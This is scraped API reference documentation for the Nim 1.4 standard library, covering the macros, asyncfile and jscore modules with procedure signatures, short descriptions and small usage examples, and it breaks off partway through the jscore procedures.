[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1348) ``` proc unpackPrefix(node: NimNode): tuple[node: NimNode, op: string] {...}{. compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1353) ``` proc unpackInfix(node: NimNode): tuple[left: NimNode, op: string, right: NimNode] {...}{. compileTime, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1358) ``` proc copy(node: NimNode): NimNode {...}{.compileTime, raises: [], tags: [].} ``` An alias for [copyNimTree](#copyNimTree,NimNode). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1363) ``` proc eqIdent(a: string; b: string): bool {...}{.magic: "EqIdent", noSideEffect.} ``` Style insensitive comparison. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1368) ``` proc eqIdent(a: NimNode; b: string): bool {...}{.magic: "EqIdent", noSideEffect.} ``` Style insensitive comparison. `a` can be an identifier or a symbol. `a` may be wrapped in an export marker (`nnkPostfix`) or quoted with backticks (`nnkAccQuoted`), these nodes will be unwrapped. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1371) ``` proc eqIdent(a: string; b: NimNode): bool {...}{.magic: "EqIdent", noSideEffect.} ``` Style insensitive comparison. `b` can be an identifier or a symbol. `b` may be wrapped in an export marker (`nnkPostfix`) or quoted with backticks (`nnkAccQuoted`), these nodes will be unwrapped. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1377) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1377) ``` proc eqIdent(a: NimNode; b: NimNode): bool {...}{.magic: "EqIdent", noSideEffect.} ``` Style insensitive comparison. `a` and `b` can be an identifier or a symbol. Both may be wrapped in an export marker (`nnkPostfix`) or quoted with backticks (`nnkAccQuoted`), these nodes will be unwrapped. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1383) ``` proc expectIdent(n: NimNode; name: string) {...}{.compileTime, raises: [], tags: [].} ``` Check that `eqIdent(n,name)` holds true. If this is not the case, compilation aborts with an error message. This is useful for writing macros that check the AST that is passed to them. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1425) ``` proc hasArgOfName(params: NimNode; name: string): bool {...}{.compileTime, raises: [], tags: [].} ``` Search `nnkFormalParams` for an argument. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1432) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1432) ``` proc addIdentIfAbsent(dest: NimNode; ident: string) {...}{.compileTime, raises: [], tags: [].} ``` Add `ident` to `dest` if it is not present. This is intended for use with pragmas. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1440) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1440) ``` proc boolVal(n: NimNode): bool {...}{.compileTime, noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1452) ``` proc nodeID(n: NimNode): int {...}{.magic: "NodeId".} ``` Returns the id of `n`, when the compiler has been compiled with the flag `-d:useNodeids`, otherwise returns `-1`. This proc is for the purpose to debug the compiler only. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1457) ``` proc getProjectPath(): string {...}{.raises: [], tags: [].} ``` Returns the path to the currently compiling project. This is not to be confused with [system.currentSourcePath](system#currentSourcePath.t) which returns the path of the source file containing that template call. For example, assume a `dir1/foo.nim` that imports a `dir2/bar.nim`, have the `bar.nim` print out both `getProjectPath` and `currentSourcePath` outputs. Now when `foo.nim` is compiled, the `getProjectPath` from `bar.nim` will return the `dir1/` path, while the `currentSourcePath` will return the path to the `bar.nim` source file. Now when `bar.nim` is compiled directly, the `getProjectPath` will now return the `dir2/` path, and the `currentSourcePath` will still return the same path, the path to the `bar.nim` source file. The path returned by this proc is set at compile time. See also: * [getCurrentDir proc](os#getCurrentDir) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1618) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1618) ``` proc getSize(arg: NimNode): int {...}{.magic: "NSizeOf", noSideEffect, raises: [], tags: [].} ``` Returns the same result as `system.sizeof` if the size is known by the Nim compiler. Returns a negative value if the Nim compiler does not know the size. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1644) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1644) ``` proc getAlign(arg: NimNode): int {...}{.magic: "NSizeOf", noSideEffect, raises: [], tags: [].} ``` Returns the same result as `system.alignof` if the alignment is known by the Nim compiler. It works on `NimNode` for use in macro context. Returns a negative value if the Nim compiler does not know the alignment. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1648) ``` proc getOffset(arg: NimNode): int {...}{.magic: "NSizeOf", noSideEffect, raises: [], tags: [].} ``` Returns the same result as `system.offsetof` if the offset is known by the Nim compiler. It expects a resolved symbol node from a field of a type. Therefore it only requires one argument instead of two. Returns a negative value if the Nim compiler does not know the offset. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1653) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1653) ``` proc isExported(n: NimNode): bool {...}{.noSideEffect, raises: [], tags: [].} ``` Returns whether the symbol is exported or not. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1660) ``` proc extractDocCommentsAndRunnables(n: NimNode): NimNode {...}{.raises: [], tags: [].} ``` returns a `nnkStmtList` containing the top-level doc comments and runnableExamples in `a`, stopping at the first child that is neither. Example: ``` import macros macro transf(a): untyped = result = quote do: proc fun2*() = discard let header = extractDocCommentsAndRunnables(a.body) # correct usage: rest is appended result.body = header result.body.add quote do: discard # just an example # incorrect usage: nesting inside a nnkStmtList: # result.body = quote do: (`header`; discard) proc fun*() {.transf.} = ## first comment runnableExamples: discard runnableExamples: discard ## last comment discard # first statement after doc comments + runnableExamples ## not docgen'd ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1663) Iterators --------- ``` iterator items(n: NimNode): NimNode {...}{.inline, raises: [], tags: [].} ``` Iterates over the children of the NimNode `n`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1283) ``` iterator pairs(n: NimNode): (int, NimNode) {...}{.inline, raises: [], tags: [].} ``` Iterates over the children of the NimNode `n` and its indices. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1288) ``` iterator children(n: NimNode): NimNode {...}{.inline, raises: [], tags: [].} ``` Iterates over the children of the NimNode `n`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1293) Macros ------ ``` macro dumpTree(s: untyped): untyped ``` Accepts a block of nim code and prints the parsed abstract syntax tree using the `treeRepr` proc. Printing is done *at compile time*. You can use this as a tool to explore the Nim's abstract syntax tree and to discover what kind of nodes must be created to represent a certain expression/statement. For example: ``` dumpTree: echo "Hello, World!" ``` Outputs: ``` StmtList Command Ident "echo" StrLit "Hello, World!" ``` Also see `dumpAstGen` and `dumpLisp`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L919) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L919) ``` macro dumpLisp(s: untyped): untyped ``` Accepts a block of nim code and prints the parsed abstract syntax tree using the `lispRepr` proc. Printing is done *at compile time*. You can use this as a tool to explore the Nim's abstract syntax tree and to discover what kind of nodes must be created to represent a certain expression/statement. For example: ``` dumpLisp: echo "Hello, World!" ``` Outputs: ``` (StmtList (Command (Ident "echo") (StrLit "Hello, World!"))) ``` Also see `dumpAstGen` and `dumpTree`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L943) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L943) ``` macro dumpAstGen(s: untyped): untyped ``` Accepts a block of nim code and prints the parsed abstract syntax tree using the `astGenRepr` proc. Printing is done *at compile time*. You can use this as a tool to write macros quicker by writing example outputs and then copying the snippets into the macro for modification. For example: ``` dumpAstGen: echo "Hello, World!" ``` Outputs: ``` nnkStmtList.newTree( nnkCommand.newTree( newIdentNode("echo"), newLit("Hello, World!") ) ) ``` Also see `dumpTree` and `dumpLisp`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L967) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L967) ``` macro expandMacros(body: typed): untyped ``` Expands one level of macro - useful for debugging. Can be used to inspect what happens when a macro call is expanded, without altering its result. For instance, ``` import sugar, macros let x = 10 y = 20 expandMacros: dump(x + y) ``` will actually dump `x + y`, but at the same time will print at compile time the expansion of the `dump` macro, which in this case is `debugEcho ["x + y", " = ", x + y]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1462) ``` macro hasCustomPragma(n: typed; cp: typed{nkSym}): untyped ``` Expands to `true` if expression `n` which is expected to be `nnkDotExpr` (if checking a field), a proc or a type has custom pragma `cp`. See also `getCustomPragmaVal`. ``` template myAttr() {.pragma.} type MyObj = object myField {.myAttr.}: int proc myProc() {.myAttr.} = discard var o: MyObj assert(o.myField.hasCustomPragma(myAttr)) assert(myProc.hasCustomPragma(myAttr)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1557) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1557) ``` macro getCustomPragmaVal(n: typed; cp: typed{nkSym}): untyped ``` Expands to value of custom pragma `cp` of expression `n` which is expected to be `nnkDotExpr`, a proc or a type. See also `hasCustomPragma` ``` template serializationKey(key: string) {.pragma.} type MyObj {.serializationKey: "mo".} = object myField {.serializationKey: "mf".}: int var o: MyObj assert(o.myField.getCustomPragmaVal(serializationKey) == "mf") assert(o.getCustomPragmaVal(serializationKey) == "mo") assert(MyObj.getCustomPragmaVal(serializationKey) == "mo") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1581) ``` macro unpackVarargs(callee: untyped; args: varargs[untyped]): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1613) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1613) Templates --------- ``` template `or`(x, y: NimNode): NimNode ``` Evaluate `x` and when it is not an empty node, return it. Otherwise evaluate to `y`. Can be used to chain several expressions to get the first expression that is not empty. ``` let node = mightBeEmpty() or mightAlsoBeEmpty() or fallbackNode ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L195) ``` template findChild(n: NimNode; cond: untyped): NimNode {...}{.dirty.} ``` Find the first child node matching condition (or nil). ``` var res = findChild(n, it.kind == nnkPostfix and it.basename.ident == toNimIdent"foo") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1298)
programming_docs
nim asyncfile asyncfile ========= This module implements asynchronous file reading and writing. ``` import asyncfile, asyncdispatch, os proc main() {.async.} = var file = openAsync(getTempDir() / "foobar.txt", fmReadWrite) await file.write("test") file.setFilePos(0) let data = await file.readAll() doAssert data == "test" file.close() waitFor main() ``` Imports ------- <asyncdispatch>, <os>, <winlean> Types ----- ``` AsyncFile = ref object fd: AsyncFD offset: int64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L35) Procs ----- ``` proc getFileSize(f: AsyncFile): int64 {...}{.raises: [OSError], tags: [].} ``` Retrieves the specified file's size. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L72) ``` proc newAsyncFile(fd: AsyncFD): AsyncFile {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Creates `AsyncFile` with a previously opened file descriptor `fd`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L86) ``` proc openAsync(filename: string; mode = fmRead): AsyncFile {...}{. raises: [OSError, Exception], tags: [RootEffect].} ``` Opens a file specified by the path in `filename` using the specified FileMode `mode` asynchronously. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L92) ``` proc readBuffer(f: AsyncFile; buf: pointer; size: int): Future[int] {...}{. raises: [ValueError, Exception], tags: [RootEffect].} ``` Read `size` bytes from the specified file asynchronously starting at the current position of the file pointer. If the file pointer is past the end of the file then zero is returned and no bytes are read into `buf` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L126) ``` proc read(f: AsyncFile; size: int): Future[string] {...}{. raises: [ValueError, Exception], tags: [RootEffect].} ``` Read `size` bytes from the specified file asynchronously starting at the current position of the file pointer. If the file pointer is past the end of the file then an empty string is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L203) ``` proc readLine(f: AsyncFile): Future[string] {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads a single line from the specified file asynchronously. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L297) ``` proc getFilePos(f: AsyncFile): int64 {...}{.raises: [], tags: [].} ``` Retrieves the current position of the file pointer that is used to read from the specified file. The file's first byte has the index zero. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L310) ``` proc setFilePos(f: AsyncFile; pos: int64) {...}{.raises: [], tags: [].} ``` Sets the position of the file pointer that is used for read/write operations. The file's first byte has the index zero. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L316) ``` proc readAll(f: AsyncFile): Future[string] {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads all data from the specified file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L325) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L325) ``` proc writeBuffer(f: AsyncFile; buf: pointer; size: int): Future[void] {...}{. raises: [Exception], tags: [RootEffect].} ``` Writes `size` bytes from `buf` to the file specified asynchronously. The returned Future will complete once all data has been written to the specified file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L334) ``` proc write(f: AsyncFile; data: string): Future[void] {...}{.raises: [Exception], tags: [RootEffect].} ``` Writes `data` to the file specified asynchronously. The returned Future will complete once all data has been written to the specified file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L403) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L403) ``` proc setFileSize(f: AsyncFile; length: int64) {...}{.raises: [OSError], tags: [].} ``` Set a file length. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L484) ``` proc close(f: AsyncFile) {...}{.raises: [Exception, OSError], tags: [RootEffect].} ``` Closes the file specified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L501) ``` proc writeFromStream(f: AsyncFile; fs: FutureStream[string]): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Reads data from the specified future stream until it is completed. The data which is read is written to the file immediately and freed from memory. This procedure is perfect for saving streamed data to a file without wasting memory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L511) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L511) ``` proc readToStream(f: AsyncFile; fs: FutureStream[string]): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Writes data to the specified future stream as the file is read. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfile.nim#L525) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfile.nim#L525) nim jscore jscore ====== This module wraps core JavaScript functions. Unless your application has very specific requirements and solely targets JavaScript, you should be using the relevant functions in the `math`, `json`, and `times` stdlib modules instead. Types ----- ``` MathLib = ref object ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L21) ``` JsonLib = ref object ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L22) ``` DateLib = ref object ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L23) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L23) ``` DateTime = ref object ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L24) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L24) Vars ---- ``` Math: MathLib ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L27) ``` Date: DateLib ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L28) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L28) ``` JSON: JsonLib ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L29) Procs ----- ``` proc abs(m: MathLib; a: SomeNumber): SomeNumber {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L32) ``` proc acos(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L33) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L33) ``` proc acosh(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L34) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L34) ``` proc asin(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L35) ``` proc asinh(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L36) ``` proc atan(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L37) ``` proc atan2(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L38) ``` proc atanh(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L39) ``` proc cbrt(m: MathLib; f: SomeFloat): SomeFloat {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L40) ``` proc ceil(m: MathLib; f: SomeFloat): SomeFloat {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L41) ``` proc clz32(m: MathLib; f: SomeInteger): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L42) ``` proc cos(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L43) ``` proc cosh(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L44) ``` proc exp(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L45) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L45) ``` proc expm1(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L46) ``` proc floor(m: MathLib; f: SomeFloat): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L47) ``` proc fround(m: MathLib; f: SomeFloat): float32 {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L48) ``` proc hypot(m: MathLib; args: varargs[distinct SomeNumber]): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L49) ``` proc imul(m: MathLib; a, b: int32): int32 {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L50) ``` proc log(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L51) ``` proc log10(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L52) ``` proc log1p(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L53) ``` proc log2(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L54) ``` proc max(m: MathLib; a, b: SomeNumber): SomeNumber {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L55) ``` proc min[T: SomeNumber | JsRoot](m: MathLib; a, b: T): T {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L56) ``` proc pow(m: MathLib; a, b: distinct SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L57) ``` proc random(m: MathLib): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L58) ``` proc round(m: MathLib; f: SomeFloat): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L59) ``` proc sign(m: MathLib; f: SomeNumber): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L60) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L60) ``` proc sin(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L61) ``` proc sinh(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L62) ``` proc sqrt(m: MathLib; f: SomeFloat): SomeFloat {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L63) ``` proc tan(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L64) ``` proc tanh(m: MathLib; a: SomeNumber): float {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L65) ``` proc trunc(m: MathLib; f: SomeFloat): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L66) ``` proc now(d: DateLib): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L69) ``` proc UTC(d: DateLib): int {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jscore.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jscore.nim#L70) ``` proc parse(d: DateLib; s: cstring): int {...}{.importcpp.} ``` 